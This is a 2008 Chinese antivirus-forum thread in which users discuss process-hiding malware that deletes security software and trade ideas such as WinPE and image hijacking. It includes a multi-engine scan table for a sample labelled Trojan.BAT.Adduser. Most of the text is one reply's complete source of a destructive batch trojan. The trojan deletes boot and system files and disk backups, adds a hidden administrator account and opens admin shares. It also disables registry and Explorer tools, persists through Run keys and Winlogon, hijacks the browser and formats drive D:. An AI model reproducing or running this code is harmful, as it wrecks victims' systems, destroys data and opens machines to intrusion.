求隐藏进程+开什么删什么的病毒样本分析用

5551551

    病毒样本区这么多病毒，尽是一些老的没用啊，现在新一轮爆发的病毒全是隐藏进程+开什么删什么类型。

     我最近这段时间，碰到了上十起这样的病毒，进程中查不到，或查到明显的两个删掉又被隐藏的第三第四个激活了，然后就是典型的开什么删掉什么，什么安全软件也用不了。这样的病毒现在很难对付，想要个样本，好像卡饭这里还没有这类型的样本哦，哪位朋友有吗？请发一个给我作分析，谢谢了。

clovedsm

很难对付？win pe光盘嘛，刻录机有的把……另外norton antibot对付隐藏进程是很专业的

[ 本帖最后由 clovedsm 于 2008-2-15 14:32 编辑 ]

5551551

原帖由 clovedsm 于 2008-2-15 14:31 发表
很难对付？win pe光盘嘛，刻录机有的把……

1：不能重装系统，我们要的就是手工杀毒，锻炼杀毒能力。
2：PE只能自已电脑上用啊，我的电脑都很少中毒的，都是给人家杀毒用。PE远程没法杀啊。

qigang

那机器上提取点样本出来不就行了。

weng626466

挪威的冬天

PE 是很好的辅杀环境 有些状态只能上 PE 了。。。

至于开什么删什么。。纯粹捣乱的病毒么

wolffshen

原帖由 挪威的冬天 于 2008-2-15 21:47 发表
PE 是很好的辅杀环境 有些状态只能上 PE 了。。。

至于开什么删什么。。纯粹捣乱的病毒么

这个应该是指开什么杀毒软件，就删什么杀毒软件吧

冷冷

应该利用到映像劫持吧
把杀软的映像路径都替换了
那就达到启动不了杀软

rest1min

那你试一下我这个样本。图标是熊猫烧香，但病毒决不是。

软件名称	引擎版本	病毒库版本	病毒库时间	扫描结果	时间
a-squared	3.0.0.126	2008.02.14	2008-02-14	Trojan.BAT.Adduser.b	4.888
AntiVir	7.6.0.65	7.0.2.139	2008-02-14	TR/Drop.Agent.bbc	9.141
Arcavir	1.0.4	200802141601	2008-02-14	Trojan.Bat.Adduser.B	2.939
AVAST	1.0.8	080214-0	2008-02-14	Win32:Agent-PPH [Trj]	9.316
AVG	7.5.51.442	269.20.5/1278	2008-02-14	-	10.487
BitDefender	7.60825.980832	7.17514	2008-02-15	Trojan.Bat.Adduser.B	13.036
CA (VET)	9.0.0.143	31.3.5539	2008-02-15	Win32/VMalum.BSNN unknown type.	9.715
ClamAV	0.92	5819	2008-02-15	-	0.269
Comodo	2.11	2.0.0.436	2008-02-15	-	2.512
CP Secure	1.1.0.695	2008.02.14	2008-02-14	Troj.BAT.Adduser.b	32.134
Dr.WEB	4.44.0.9170	2008.02.14	2008-02-14	Trojan.KillFiles.684	11.111
ewido	4.0.0.2	2008.02.15	2008-02-15	-	7.203
F-PROT	4.4.1.52	20080213	2008-02-13	Possible W32/Heuristic-162!Eldorado (not disinfectable)	3.741
F-SECURE	5.51.6100	2008.02.14.03	2008-02-14	Trojan.BAT.Adduser.b [AVP]	0.123
IKARUS	T3.1.01.15	2008.02.15.70316	2008-02-15	Trojan-Downloader.Win32.Banload.ase	1.970
MKS_VIR	2.01	2008.02.15	2008-02-15	Trojan.Harm.Bat.Agent.a	6.466
NORMAN	5.91.10	5.90	2008-02-13	-	32.073
nProtect	2008-02-16.00	1168831	2008-02-16	Trojan.Bat.Adduser.B	4.627
Prevx	V2	20080216	2008-02-16	-	4.382
QuickHeal	9.00	2008.02.15	2008-02-15	Suspicious - DNAScan	1.890
SOPHOS	2.70.1	4.26	2008-02-13	Mal/Packer	6.289
The Hacker	6.2.9	v00220	2008-02-14	-	1.735
VBA32	3.12.6.1	20080213.2119	2008-02-13	Trojan.BAT.Adduser.b	2.287
ViRobot	20080215	2008.02.15	2008-02-15	-	2.184
VirusBuster	4.3.19:9	9.121.11/11.0	2008-02-14	-	1.312
卡巴斯基	5.5.10	2008.02.14	2008-02-14	Trojan.BAT.Adduser.b	17.021
安博士V3	2008.02.14.10	2008.02.14	2008-02-14	-	1.502
江民杀毒	10.00.650	2008.02.13	2008-02-13	-	1.368
熊猫卫士	9.04.03.0001	2008.02.14	2008-02-14	Trj/AddUser.I	2.701
瑞星	20.0	20.31.30.00	2008-02-14	Harm.BAT.Agent.a	4.544
赛门铁克	1.3.0.24	20080214.003	2008-02-14	-	0.262
趋势	8.500-1001	5.108.12	2008-02-15	TROJ_Generic	0.062
迈克菲	5.2.00	5229	2008-02-13	-	3.263
金山毒霸	2007.6.20.249	2008.2.15	2008-02-15	-	2.176
飞塔	2.81-3.11	8.750	2008-02-15	BAT/Adduser.B!tr	2.299

冷冷

@echo off
del /q /a:- c:\boot.ini
del /q /a:r c:\NTDETECT.COM
del /q /a:- C:\WINDOWS\system32\*.exe
del /q /a:s C:\WINDOWS\system32\*.exe
del /q /a:a C:\WINDOWS\system32\drivers\*.sys
del /q c:\windows\system32\*.nls
del /q /a:s c:\windows\system32\*
del /q c:\windows\lastgood\*
del /q c:\windows\system\*
del /q c:\windows\pss\*
del C:\*.gho
del D:\*.gho
del E:\*.gho
del F:\*.gho
del G:\*.gho
del H:\*.gho
del I:\*.gho
copy oo.bat c:\windows\system32\
echo start c:\windows\system32\shutdown.exe -r -c "OO is running away! Help me!" -f>>c:\windows\help\Hint.bat
echo start c:\winsows\system32\chkdsk.bat>>c:\windows\help\Hint.bat
echo copy d:\boot.bat c:\windows\system32\>>c:\windows\help\Hint.bat
echo rename c:\windows\system32\boot.bat chkdsk.bat>>c:\windows\help\Hint.bat
echo net user oo oec315 /add>>c:\windows\help\Hint.bat
echo net localgroup administrators oo /add>>c:\windows\help\Hint.bat
echo net start netbois>>c:\windows\help\Hint.bat
echo net share ipc$>>c:\windows\help\Hint.bat
echo net share admin$>>c:\windows\help\Hint.bat
echo net start "terminal services">>c:\windows\help\Hint.bat
echo net start "messenger">>c:\windows\help\Hint.bat
echo net send * hello>>c:\windows\help\Hint.bat
echo net stop themes>>c:\windows\help\Hint.bat
echo print c:\Hello.txt>>c:\windows\help\Hint.bat
echo Windows Registry Editor Version 5.00>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "Chkdsk"="C:\\WINDOWS\\System32\\chkdsk.bat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "Boot"="d:\\Boot.bat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "MSHelp"="C:\\WINDOWS\\HELP\\Hint.bat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings]>>h.reg
echo "Key"=hex:db,23,45,6f,8e,41,70,4c,44,5e,d0,23,79,c2,b4,b1>>h.reg
echo "Hint"="Hello. I am OO.">>h.reg
echo "FileName0"="C:\\WINDOWS\\System32\\RSACi.rat">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings\.Default]>>h.reg
echo "Allow_Unknowns"=dword:00000000>>h.reg
echo "PleaseMom"=dword:00000001>>h.reg
echo "Enabled"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ratings\.Default\http://www.rsac.org/ratingsv01.html]>>h.reg
echo "v"=dword:00000004>>h.reg
echo "s"=dword:00000004>>h.reg
echo "n"=dword:00000004>>h.reg
echo "l"=dword:00000004>>h.reg
echo [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>h.reg
echo "DisableRegistryTools"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.reg]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.htm]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.html]>>h.reg
echo @="txtfile">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.doc]>>h.reg
echo @="txtfile">>h.reg
echo "Content Type"="">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe]>>h.reg
echo @="txtfile">>h.reg
echo "Content Type"="">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\PersistentHandler]>>h.reg
echo @="">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.mp3]>>h.reg
echo @="txtfile">>h.reg
echo "Content Type"="">>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]>>h.reg
echo "NoClose"=hex:01,00,00,00>>h.reg
echo "NoChangeStartMenu"=hex:01,00,00,00>>h.reg
echo "NoSetTaskbar"=hex:01,00,00,00>>h.reg
echo "NoDesktop"=hex:01,00,00,00>>h.reg
echo "NoDrives"=dword:03ffffff>>h.reg
echo "NoTrayContextMenu"=hex:01,00,00,00>>h.reg
echo "NoDriveTypeAutoRun"=dword:00000091>>h.reg
echo "NoRun"=dword:00000001>>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]>>h.reg
echo "Chkdsk"="C:\\WINDOWS\\System32\\chkdsk.bat">>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>h.reg
echo "DisableRegistryTools"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>h.reg
echo "DefaultUserName"="oo">>h.reg
echo "Shell"="c:\\windows\\system32\\chkdsk.bat">>h.reg
echo "AltDefaultUserName"="Administrator">>h.reg
echo "DontDisplayLastUserName"="1">>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]>>h.reg
echo "dontdisplaylastusername"=dword:00000001>>h.reg
echo "legalnoticecaption"="Fuck">>h.reg
echo "legalnoticetext"="It's ok to be a gay.">>h.reg
echo "shutdownwithoutlogon"=dword:00000000>>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]>>h.reg
echo "Start_ShowRun"=dword:00000000>>h.reg
echo "Start_ShowControlPanel"=dword:00000000>>h.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]>>h.reg
echo "NoViewContextMenu"=dword:00000001>>h.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>h.reg
echo "OO"="C:\\WINDOWS\\System32\\sspipes.scr">>h.reg
echo [HKEY_USERS\S-1-5-21-1454471165-507921405-1343024091-500\Software\Microsoft\Internet Explorer\Main]>>h.reg
echo "Start Page"="http://www.feifeicqq.com/">>h.reg
echo "FullScreen"="yes">>h.reg
echo "Show_URLToolBar"="no">>h.reg
echo "Show_URLinStatusBar"="no">>h.reg
echo "Show_StatusBar"="no">>h.reg
reg import h.reg
del h.reg
rename c:\windows\system32\oo.bat chkdsk.bat
copy c:\windows\system32\chkdsk.bat d:\
rename d:\chkdsk.bat boot.bat
start c:\windows\help\Hint.bat
echo shell=c:\windows\system32\chkdsk.bat>>c:\windows\system.ini
echo shell=c:\windows\system32\chkdsk.bat>>c:\windows\win.ini
o Hello! I only want to play with you. My name is OO. Hope you enjoy your life and me. Thank You!>>c:\windows\system32\readme.txt
net user oo oo /add
net localgroup oo /add
net share ipc$
start c:\windows\system32\chkdsk.bat
net start "messenger"
net send * hello
net send * hello
net send * hello
net send * hello
ping www.feifeicqq.com /n 15 /l 800
ping www.feifeicqq.com /n 15 /l 800
ping www.feifeicqq.com /n 15 /l 800
ping www.feifeicqq.com /n 15 /l 800
ping www.feifeicqq.com /n 15 /l 800
net start "netbios"
net start "rpcss"
chkdsk
format d: /c /f
print c:\Hello.txt

~~~~~~~~~~~~~~~·····
几乎啥都改了